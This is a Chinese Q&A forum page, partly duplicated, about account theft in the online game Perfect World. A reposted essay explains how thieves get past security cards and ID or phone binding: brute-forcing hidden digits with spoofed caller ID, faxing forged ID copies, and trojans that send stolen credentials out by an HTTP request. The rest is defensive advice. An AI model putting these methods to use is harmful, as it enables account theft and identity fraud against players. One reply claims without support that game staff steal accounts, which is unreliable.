隐藏位数只有三位
也就是只有1000种可能
不要对我说***在你的手里，盗号的号码和你不一样
有一类软件叫做网络***
几年前我做系 统维护时曾有人给我推销过，并赠送了20元的话费
当时我试着把本地***设成某比较小的三位数字#17
然后给朋友打了个***,说怀疑他与一宗绑架案有关#76
结果他吓得差点吐血#83
后来我往我自己手机上打了一个，***号码只有三位数#83前两位的数字是同一个#76
不过***密保打***是免费的，所以盗号者没必要去交话费就可以直接操作
破解之二：
二、第二种方式解除***绑定（***已确认）：
传真***复印件至完美，说明原因并要求解除***绑定即可。
方法简单吧，让你吃惊了吗？***姐姐给的理由是如果你的帐号被别人恶意***绑定，使用这种方式就可以解除。对于这种解释我要对大家说自己的证件号码一定要保管好啊。
关于以前有人使用“手机绑定”、“电子密保”绑定功能被盗的步骤，有人已经很详细的解说了。在此再重复说一次，并对一些认为盗号者不知道邮箱为什么能改密码等疑问一并解释。
三、盗取使用“电子密保”玩家的步骤：
1、通过种种渠道获取你的帐号与密码，登录官方网站，查看你的注册***，***号码隐藏部分可通过用户填写的出生日期获取；
2、PS一张假***至完美，要求解除密码绑定；
3、登录游戏（或者通过网页修改密码后再登录游戏）进行盗号操作。
有人问为什么我在邮箱里看不到盗号者修改密码的信息，他们是怎么更改登录密码的？甚至还有人抓住这一点来怀疑是官方内部人员操作的。其实常混多玩的都知道，在修改游戏密码是可以绕过邮箱验证而直接更改密码的。操作步骤如下：
1、登录通行证；
2、直接输入
（屏蔽防止被别有用心者利用）网址即可修改登录密码。
四、总结与建议
综上所述，当你已经被盗号者获知你的有效***号码后，你就无法摆脱被盗的命运。因为完美所推出的这几种绑定服务，均可以通过传真***复印件到完美公司直接申请解除。
由于不能修改注册时的***号码，又因为所有绑定都可以用***号码解除，所以只要别人拿到这个资料，就算电脑100%安全也没用。在强调一下注意帐号资料安全啊！！
看了上面的分析，你就会知道你的所谓防范在中马之后是多么脆弱，俗话说不怕贼偷，就怕贼惦记，中了马之后贼开始惦记你的***密保和密保卡了，破解只是早晚的问题，请相信，
中了木马之后还能够保证你账号绝对安全的措施不存在，最好的办法就是提高警惕，重在预防。
键盘录入的所有信息都是可以被记录的，软键盘输入的信息会被截屏，内存会被读取，密保卡有“矩阵终结者”、***密保有“网络***”，以上还不行，就需知道你的***号码！
最后，你的所有被盗物品都会很快出现在5173或者拍卖行，这个最大的被盗虚拟装备销赃基地，被其他玩家迅速买走……
在这里再说一下，如果物品放在拍卖了最好自己先凑钱把物品买回来，如果你开了协查函或者使用完美找回，完美公司可能会给你追回相应的金钱，如果你是傻等那么........阿门祈求上天吧！
防范办法还是说烂了的老三样：
1、装好杀毒软件保持最新，装好360之类的安全软件，及时修补漏洞，扫描木马；
2、只上正规大网站，多使用网页快照；
3、拒绝任何不明连接、不明软件，下载完毕之后立即扫描病毒木马。
4、做好以上三样还是会被盗的，特别是被盗过的玩家，由于盗号的掌握了你的信息比较多，再次破解的难度会大大降低，所以让我们求求额滴神，不要被盗吧！
五、说GM盗号的
我觉得这些人真是无聊透了，好听点可以说没文化，你自己冷静下来想一想，他们如果有能力盗你号还不如自己刷装备又没风险还快速！万一调查起来这是可不是闹着玩的，想一想挺可笑哈，自己不注意安全就别怪人家，账号在自己手里人家又不是天天给你看管着，自己又不是小孩，说话要负责的嘿嘿，完美推出了密保卡，***密保，手机密保，其实已经不错了，剩下的就要靠自己了。
六、帐号被盗后物品找回的问题
帐号被盗了，完美是在你开出协查函或者使用完美找回的时候才会有这个义务尽量的帮你追回物品的，注意是尽量！因为完美没有这个责任百分之百为你找回因为某些东西是无法找回的.....比如消耗掉的，砸碎的，丢失的，正常交易的等等，现在是法制社会万一物品引起争执完美也不好承担责任毕竟咱们的法律还不健全啊！
总之希望大家看完这些有所收获谢谢
顶不顶没关系
但是顶顶更健康啊！！
发帖过去一阵子了发现大家都说完美盗号严重，看大家的关注程度貌似这种说法是假的
无论怎样 我还是要 再补充点 为需要他的人
一些盗号的原理是直接改内存地址，没有防封处理，所以400版完美的动态检测躲不过去。
其实原理和功能都很简单，做这个的人主要是为了传播木马。在norton病毒库被命名为delf.bg。中文名字是德芙木马下载器。它的作用是每次开机以后，远程下载木马，它本身不含病毒程序，但是它会负责下载病毒。
小飞的木马基本原理是在**里绑一个木马下载器，然后定期到小飞作者指定的几个地方下载完美破解木马。这些木马会自动把你的用户名、密码和密保卡发邮件到他指定的信箱。
我用小号测试，发现会往外发这种包
GET /wwmm/Faxin.a ?Server=网通逆鳞&UserName=**********& Pa word=********&CName=**********&ToMail=****@163.com HTTP/1.1
Host: [url]
********.com
（熊猫挂）400版有些版本是没病毒的，但是400版以后的基本都带有木马，原理和上面小飞的一样，估计是同一批人做的。
如果你用过**，请你即使更换自己的密码和密保卡。
1.下载实时杀毒的软件，瑞星、金山、卡巴……都可以
2.使用360安全卫士和360保险箱，360保险箱现在提供完美的保护，每次启动完美它都会自动扫描和实时监控
3.利用IE浏览器中的一处安全缺陷，任何网站都可以在用户不知情的情况下随意拷贝Windows剪贴板中的内容。解决方法——通过点击IE浏览器中的“工具”-“互联网选项”-“安全”-“自定义级别”，找到“脚本”小节，禁用“允许利用脚本进行粘贴操作”。
4.去网吧的时候，先下载一个软件，然后重启，看看你下的软件还在不在，以此判断网吧是否装有还原卡或者**还原软件。
5.到网吧玩，最好登陆游戏之后立刻修改密码，这样就算内存里的帐号和密码被盗，他也登陆不上去。
6.别说什么GM盗号这种没文化的话。
回答者：
2008-1-23 10:03
怎么国人的小聪明全用在国内这些鸡鸣狗盗的事情上？就没见他们闹到国际去～
还以为自己多有脸呢？整了就一跳梁小丑～
回答者：
2008-1-23 10:48
盗号这个问题
任何游戏都存在
根本原因在于人的问题，人是很麻烦的，什么措施都只是工具，要实现还是人。
要是牛不听话，你可以用绳子拴住，人是栓不住的。
回答者：
2008-1-23 14:08
我在家上就从来没被盗过！因为我对电脑系统比较了解。经常看进程，如果有木马就会发现。装了卡吧KIS，我连保密卡都懒得用。 只要你不用免费的WG和不上那些垃圾网站就不会产生木马了。记得进程要常看！
回答者：
2008-1-26 10:56
郁闷被偷还算好点,我密保都丢了完美还不给我办理我这辈子玩不着了.
回答者：
2008-1-30 10:41
相关内容
2007-3-28
2010-5-8
2011-2-18
2010-12-10
2010-10-29
查看同主题问题：
转发到：
用户名：
记住我的登录状态
可以第一时间收到“提问有新回答”“回答被采纳”“网友求助”的通知。
您想在自己的网站上展示百度“知道”上的问答吗？来
如要投诉或提出意见建议，
2011 Baidu解决时间：2008-6-21 07:05
提问者：
玩完美国际一星期被盗三次，最后一次被盗时我还在游戏中，盗号的竟然瞬间解绑了我的密保卡[密保刚买两天]把号扒的精光，前后没有5分钟！！我的时装，我的骑宠，我的装备，这些都是我被盗没两天刚刚被齐的东西！当时我是伤心，情绪低落急了！狠死了盗号的！刚刚又看到楼主那一番忠言，让我不得不得考虑以后还要不要与完美有任何的关系？？！！！ 还好我不是什么RMB玩家，被盗也就伤心一时，我在这里奉劝在完美上投入很多精力和RMB的玩家请认真看一下楼主所说的一些关于盗号的事例，关于完美公司的所不为人知的行为，提高防范意识，要不然哪天等你门被盗时，哭都来不急！！！！！！
最佳***
呵呵同情你一下，我早就不相信这些网游公司了，我一个同学是在某大型网游公司做GM的，他自己都承认，他们GM私下有盗一些不是特别有钱的人的号，特别有钱的公司都会关注保护的，他们公司的私下规定是，帐户只有冲到500RMB以上，他们公司才会给予保护。
分享给你的朋友吧：
对我有帮助
回答时间：2008-6-1 09:25
回答者：
擅长领域：
参加的活动：
暂时没有参加的活动
相关内容
2011-4-9
2011-2-18
2010-12-10
2010-10-29
查看同主题问题：
其他回答
同情你!!!
回答者：
2008-6-1 10:36
黑，谁都没有这个社会更黑
回答者：
2008-6-1 22:41
回答者：
2008-6-5 18:20
回答者：
2008-6-7 14:10
下面转个贴，LZ看了就该找到***了。
马夫是如何盗号的（该文转自完美世界精华区）
希望盗过的没盗过的还有正在被盗着的都关注一下，提高一下自己的防范意识
首先，中木马玩家一旦运行游戏，就会自动激活盗号程序，关闭你的杀毒软件和防火墙，自动通知远方的盗号者准备开始行动。
一、虚假官方提示骗取
木马先强行踢玩家下线，再发一个虚假官方提示，告诉玩家的密保卡已经损坏，被解除绑定之类，并要玩家输入三个密保卡字母对应的数字。
其实这三个数字正是此时盗号者的登陆界面需要输入的三个数字（他已破解你的登陆密码），一旦玩家输入，号被盗也是情理之中了。这种木马的危害较小，只要不输入任何东西就可以了，这个木马也是官方介绍过的。
二、反复t下线记录
这个是破解密保卡的“常 规手段”，通过反复踢玩家下线让他不断输入坐标，再通过木马的截屏功能逐步搜集密保坐标及其对应的坐标数字。诛仙密保输入的数字是明码的，通过截屏就能知 道你的a1、b2等等是什么数字。只需要知道60%以上的数字对应就可以完成破解，这种专破密保的木马叫“矩阵终结者”。
三、长期“常规”记录
短期反复踢玩家下线容易引起玩家警觉，若玩家长期没有更换密保卡，即使是平时的正常操作也会让马夫们逐步分析完你的密保卡对应数字，一旦达到60%就能实现盗号，所以这就是大多数游戏的密保卡只能保你30天的原因。我的到了第33天就顶不住了……
一旦突破你的防范，用分类软件1分钟拿走你的所有东西，根本无须人工操作。
完美最近推出了***密保，那么***密保用***密保怎么又会被盗那？
破解之一：
盗号者在盗到号（这里指账号和登陆密码）后做的第一件事是先去检查一下有什么密保
如果是***密保，ok了，开始破解
打开***密保的网页，用盗来的号登陆后，会显示出绑定的***
格式如1111＊＊＊111
隐藏位数只有三位
也就是只有1000种可能
不要对我说***在你的手里，盗号的号码和你不一样
有一类软件叫做网络***
几年前我做系 统维护时曾有人给我推销过，并赠送了20元的话费
当时我试着把本地***设成某比较小的三位数字#17
然后给朋友打了个***，说怀疑他与一宗绑架案有关#76
结果他吓得差点吐血#83
后来我往我自己手机上打了一个，***号码只有三位数#83前两位的数字是同一个#76
不过***密保打***是免费的，所以盗号者没必要去交话费就可以直接操作
破解之二：
二、第二种方式解除***绑定（***已确认）：
传真***复印件至完美，说明原因并要求解除***绑定即可。
方法简单吧，让你吃惊了吗？***姐姐给的理由是如果你的帐号被别人恶意***绑定，使用这种方式就可以解除。对于这种解释我要对大家说自己的证件号码一定要保管好啊。
关于以前有人使用“手机绑定”、“电子密保”绑定功能被盗的步骤，有人已经很详细的解说了。在此再重复说一次，并对一些认为盗号者不知道邮箱为什么能改密码等疑问一并解释。
三、盗取使用“电子密保”玩家的步骤：
1、通过种种渠道获取你的帐号与密码，登录官方网站，查看你的注册***，***号码隐藏部分可通过用户填写的出生日期获取；
2、 一张假***至完美，要求解除密码绑定；
3、登录游戏（或者通过网页修改密码后再登录游戏）进行盗号操作。
有人问为什么我在邮箱里看不到盗号者修改密码的信息，他们是怎么更改登录密码的？甚至还有人抓住这一点来怀疑是官方内部人员操作的。其实常混多玩的都知道，在修改游戏密码是可以绕过邮箱验证而直接更改密码的。操作步骤如下：
1、登录通行证；
2、直接输入
（屏蔽防止被别有用心者利用）网址即可修改登录密码。
四、总结与建议
综上所述，当你已经被盗号者获知你的有效***号码后，你就无法摆脱被盗的命运。因为完美所推出的这几种绑定服务，均可以通过传真***复印件到完美公司直接申请解除。
由于不能修改注册时的***号码，又因为所有绑定都可以用***号码解除，所以只要别人拿到这个资料，就算电脑100%安全也没用。在强调一下注意帐号资料安全啊！！
看了上面的分析，你就会知道你的所谓防范在中马之后是多么脆弱，俗话说不怕贼偷，就怕贼惦记，中了马之后贼开始惦记你的***密保和密保卡了，破解只是早晚的问题，请相信，
中了木马之后还能够保证你账号绝对安全的措施不存在，最好的办法就是提高警惕，重在预防。
键盘录入的所有信息都是可以被记录的，软键盘输入的信息会被截屏，内存会被读取，密保卡有“矩阵终结者”、***密保有“网络***”，以上还不行，就需知道你的***号码！
最后，你的所有被盗物品都会很快出现在5173或者拍卖行，这个最大的被盗虚拟装备销赃基地，被其他玩家迅速买走……
在这里再说一下，如果物品放在拍卖了最好自己先凑钱把物品买回来，如果你开了协查函或者使用完美找回，完美公司可能会给你追回相应的金钱，如果你是傻等那么……阿门祈求上天吧！
防范办法还是说烂了的老三样：
1、装好杀毒软件保持最新，装好360之类的安全软件，及时修补漏洞，扫描木马；
2、只上正规大网站，多使用网页快照；
3、拒绝任何不明连接、不明软件，下载完毕之后立即扫描病毒木马。
4、做好以上三样还是会被盗的，特别是被盗过的玩家，由于盗号的掌握了你的信息比较多，再次破解的难度会大大降低，所以让我们求求额滴神，不要被盗吧！
五、说gm盗号的
我觉得这些人真是无聊透了，好听点可以说没文化，你自己冷静下来想一想，他们如果有能力盗你号还不如自己刷装备又没风险还快速！万一调查起来这是可不是闹着玩的，想一想挺可笑哈，自己不注意安全就别怪人家，账号在自己手里人家又不是天天给你看管着，自己又不是小孩，说话要负责的嘿嘿，完美推出了密保卡，***密保，手机密保，其实已经不错了，剩下的就要靠自己了。
六、帐号被盗后物品找回的问题
帐号被盗了，完美是在你开出协查函或者使用完美找回的时候才会有这个义务尽量的帮你追回物品的，注意是尽量！因为完美没有这个责任百分之百为你找回因为某些东西是无法找回的……比如消耗掉的，砸碎的，丢失的，正常交易的等等，现在是法制社会万一物品引起争执完美也不好承担责任毕竟咱们的法律还不健全啊！
总之希望大家看完这些有所收获谢谢
顶不顶没关系 但是顶顶更健康啊！！
一些盗号的原理是直接改内存地址，没有防封处理，所以400版完美的动态检测躲不过去。
其实原理和功能都很简单，做这个的人主要是为了传播木马。在norton病毒库被命名为delf.bg.中文名字是德芙木马下载器。它的作用是每次开机以后，远程下载木马，它本身不含病毒程序，但是它会负责下载病毒。
小飞的木马基本原理是在＊＊里绑一个木马下载器，然后定期到小飞作者指定的几个地方下载完美破解木马。这些木马会自动把你的用户名、密码和密保卡发邮件到他指定的信箱。
我用小号测试，发现会往外发这种包
（熊猫挂）400版有些版本是没病毒的，但是400版以后的基本都带有木马，原理和上面小飞的一样，估计是同一批人做的。
如果你用过＊＊，请你即使更换自己的密码和密保卡。
1.下载实时杀毒的软件，瑞星、金山、卡巴……都可以
2.使用360安全卫士和360保险箱，360保险箱现在提供完美的保护，每次启动完美它都会自动扫描和实时监控
3.利用ie浏览器中的一处安全缺陷，任何网站都可以在用户不知情的情况下随意拷贝windows剪贴板中的内容。解决方法——通过点击ie浏览器中的“工具”-“互联网选项”-“安全”-“自定义级别”，找到“脚本”小节，禁用“允许利用脚本进行粘贴操作”。
4.去网吧的时候，先下载一个软件，然后重启，看看你下的软件还在不在，以此判断网吧是否装有还原卡或者＊＊还原软件。
5.到网吧玩，最好登陆游戏之后立刻修改密码，这样就算内存里的帐号和密码被盗，他也登陆不上去。
6.别说什么gm盗号这种没文化的话。
回答者：
2008-6-7 22:01
木马会纪录你在键盘里操作的所有！(这里指的是游戏登陆框，如果及时到官方修改密码的话是不用担心的，他们纪录不了）当然有些特殊密码会纪录鼠标的，但很少！所以你要不被盗号的话，在输入密保卡的时候用鼠标点，这样就大力的避免被盗号了！
据本人所知的6款主流木马都是不会纪录鼠标的！谢谢！
主流木马我说几款：比翼马、战神马、温柔马、伯乐马等等！
百度搜索一大把的！
回答者：
2008-6-9 23:18
楼主别难过，咱们同是沦落人哪，一星期被盗2次，死的心情都有了
回答者：
2008-6-10 00:45
我只能说
同情你～～～～～～
回答者：
2008-6-12 17:23
分享到：
用户名：
记住我的登录状态
2011 Baidu